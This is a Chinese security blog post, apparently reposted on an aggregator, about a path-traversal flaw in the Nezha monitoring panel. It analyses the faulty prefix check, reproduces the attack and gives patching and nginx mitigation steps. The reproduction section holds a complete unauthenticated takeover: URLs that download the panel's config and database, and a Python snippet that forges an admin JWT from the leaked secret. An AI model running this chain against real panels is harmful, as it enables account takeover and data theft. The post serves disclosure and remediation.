哪吒探针路径穿越漏洞复现及修复"

admin 2026-10-20 12:08:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

哪吒探针路径穿越漏洞复现及修复

原创

大表哥吆
大表哥吆

kali笔记

2026年6月23日 08:00
甘肃

在小说阅读器读本章

去阅读

哪吒探针是一款轻量的服务器监控工具,因轻量、支持多终端被大家所熟知。但最近却爆出了严重的安全漏洞,由于笔者也一直在使用,因此针对此漏洞进行升级,并做一次简单的记录。

目前被曝存在一个 严重级别的路径穿越漏洞(CVE-2026-53519)。攻击者无需任何认证,仅通过两个 HTTP 请求,即可直接下载面板的敏感配置文件与数据库,伪造 JWT Token 直接接管管理员后台。

一、漏洞核心信息

项目 内容
漏洞编号 CVE-2026-53519
GitHub Advisory GHSA-5c25-7vpj-9mqh
漏洞类型 CWE-22 路径穿越(Path Traversal)
严重性 CRITICAL(严重)
影响版本 v1.x ~ v2.0.12

二、漏洞原理深度分析

位于 cmd/dashboard/controller/controller.go 中的 fallbackToFrontend 函数。该函数作为 NoRoute 兜底处理,当所有路由都不匹配时,会尝试将请求当作前端静态资源处理。

问题代码:

// NoRoute 兜底处理
if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
        return
    }
}

关键缺陷在于:HasPrefix 检查的是字符串前缀,而不是路径段(path segment)。正常访问,拼接为 admin-dist/login.但 Go 的 http.ServeFile 在 URL 层面会拦截 .. 段 → 返回 400 dashboard.. 是一个完整的路径段,URL 层面不会拦截;TrimPrefix 后得到 ../data/config.yaml;path.Join(\"admin-dist\",)

三、复现

在浏览器中,直接访问https://你的面板地址/dashboard../data/config.yaml便可以直接下载config.yaml文件,效果如下:

这里,我们可以看到在后台中的配置信息和关键的 jwt_secret_key — 用于签发所有会话 Cookie 的 HS256 签名密钥。

下载数据库获取管理员 User ID

同样,我们浏览器访问 https://你的面板地址/dashboard../data/sqlite.db
 便可以成功下载sqlite.db文件。

SQLite 数据库中存储着管理员用户的 ID(默认管理员通常为 1)。

第三步:伪造 JWT Token 接管后台

利用获取到的 jwt_secret_key 和管理员 User ID,本地构造一个合法的 JWT Token:

import jwt, time
payload = {
    \"user_id\": 1,
    \"exp\": int(time.time()) + 86400 * 30
}
token = jwt.encode(payload, \"获取到的_jwt_secret_key\", algorithm=\"HS256\")
print(token)

将生成的 Token 写入浏览器 Cookie(键名:nz-jwt),刷新页面即可 直接进入管理员后台。

四、紧急修复方案

需要我们升级面板到 v2.0.13+

# Docker 部署
docker pull ghcr.io/nezhahq/nezha:latest
docker compose up -d

二进制部署
下载 v2.0.13+ 版本替换二进制文件后重启服务
临时缓解

在 Nginx/反向代理中添加规则,拦截包含 dashboard.. 的异常请求:

if ($uri ~* \"/dashboard\\.\\.\") {
    return 403;
}

或直接暂时停止面板服务。

五、总结

这次哪吒探针的高危漏洞再次给我们敲响了警钟:一个字符的前缀匹配错误,就导致了全线版本沦陷。网络安全无小事。 不要抱有\"我的小鸡配置低、黑客看不上\"的侥幸心理。平时多关于相关安全资讯,常用程序及时更新,以免造成资产损失。

更多精彩文章  欢迎关注我们


哪吒探针路径穿越漏洞复现及修复" 网络安全文章

哪吒探针路径穿越漏洞复现及修复"

文档分析了哪吒探针CVE-2026-53519路径穿越漏洞的成因与危害,攻击者可通过构造特定URL下载配置文件及数据库,利用JWT密钥伪造管理员令牌。提供了升级至v2.0.13或配置Nginx拦截的修复方案,强调及时更新避免资产损失。
T-agent:一个可插拔运行时的本地AIAgent工作台" 网络安全文章

T-agent:一个可插拔运行时的本地AIAgent工作台"

T-agent是一个基于Next.js的本地AIAgent管理平台,支持7种运行时架构(如OpenAI兼容接口、HermesAgent等),具备记忆生命周期管理(含艾宾浩斯遗忘曲线和做梦整理机制)、可视化工作流编排、多智能体群聊功能。项目采用TypeScript+Prisma技术栈,提供12个功能视图和三种部署方式,适用于多模型管理、本地部署及工作流自动化场景。
Rubrics综述:Agent时代,如何定义一个「好答案」?" 网络安全文章

Rubrics综述:Agent时代,如何定义一个「好答案」?"

该综述系统阐述Rubrics作为大模型质量评估框架的价值,将模糊的`好答案`标准拆解为事实正确性、覆盖度等多维度可量化指标。论文详细解析Rubrics的四种构造方法及其在模型训练(如提供可解释奖励信号)和评测(涵盖通用任务与医疗/法律等专业领域)中的应用,同时指出奖励黑客、泛化性等挑战,为优化复杂任务下的模型行为提供结构化路径。
新增雷诺中国、上汽大众、梅赛德斯-奔驰、沃尔沃、理想、蔚来、欧摩威,上海交通大学、同济大学……AutoEEA2026第二波参会阵容公布!" 网络安全文章

新增雷诺中国、上汽大众、梅赛德斯-奔驰、沃尔沃、理想、蔚来、欧摩威,上海交通大学、同济大学……AutoEEA2026第二波参会阵容公布!"

AutoEEA2026第二届下一代汽车电子电气架构峰会将于7月8-9日在上海举办,聚焦车企研发实践落地,汇集雷诺、奔驰、理想等主机厂专家,探讨中央计算平台、区域控制器、AI智能体驱动新范式等十大热点话题,提供技术交流与产学研合作平台。
评论:0   参与:  0